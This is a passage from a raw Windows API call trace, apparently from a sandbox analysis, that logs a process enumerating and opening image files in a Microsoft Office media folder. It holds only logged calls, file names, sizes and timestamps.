lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a25aa00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a25aa00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18235_.WMF", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9ad400, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9f9ad400, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18236_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29966d00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29966d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18237_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50ffe00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb50ffe00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18238_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9086900, ftCreationTime.dwHighDateTime=0x1bddcaa, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd9086900, ftLastWriteTime.dwHighDateTime=0x1bddcaa, nFileSizeHigh=0x0, nFileSizeLow=0x93c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18239_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2305400, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa2305400, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18241_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a42b600, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a42b600, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18242_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb7e000, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fb7e000, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18243_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d151300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d151300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18244_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027e300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3027e300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18245_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc4feb00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc4feb00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18246_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba237c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xba237c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18247_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd364c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcd364c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18248_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2f4300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b2f4300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18249_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ef00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ef00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18250_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc86500, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xefc86500, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18251_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ec2300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe8ec2300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18252_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803b00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb803b00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18253_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bca4100, ftCreationTime.dwHighDateTime=0x1bddcab, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1bca4100, ftLastWriteTime.dwHighDateTime=0x1bddcab, nFileSizeHigh=0x0, nFileSizeLow=0x796, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18254_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55feb900, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x55feb900, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18255_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a21700, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7a21700, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18256_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 1 [0069.112] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 0 [0069.112] GetLastError () returned 0x12 [0069.112] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.112] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.113] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0069.113] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.113] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0069.113] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.117] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1042af8 [0069.117] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1042af8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1042af8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1042af8) returned 1 [0069.117] NtClose (Handle=0x198) returned 0x0 [0069.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c868 [0069.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.118] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0069.120] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.121] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0069.121] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.121] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0069.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c868) returned 1 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2800 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1037580 [0069.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.122] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dec3400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5dec3400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10254_.GIF", cAlternateFileName="")) returned 1 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2820 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1037688 [0069.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.122] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d6100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f1d6100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10255_.GIF", cAlternateFileName="")) returned 1 [0069.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.123] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.123] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2840 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1037790 [0069.123] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.123] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10263_.GIF", cAlternateFileName="")) returned 1 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.123] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.123] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2860 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1037898 [0069.123] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.123] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10264_.GIF", cAlternateFileName="")) returned 1 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.123] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.124] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff2880 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x10379a0 [0069.124] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.124] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10265_.GIF", cAlternateFileName="")) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.124] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.124] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff28a0 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1037aa8 [0069.124] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.124] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10266_.GIF", cAlternateFileName="")) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.124] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.124] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff28c0 [0069.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1037bb0 [0069.125] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.125] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: 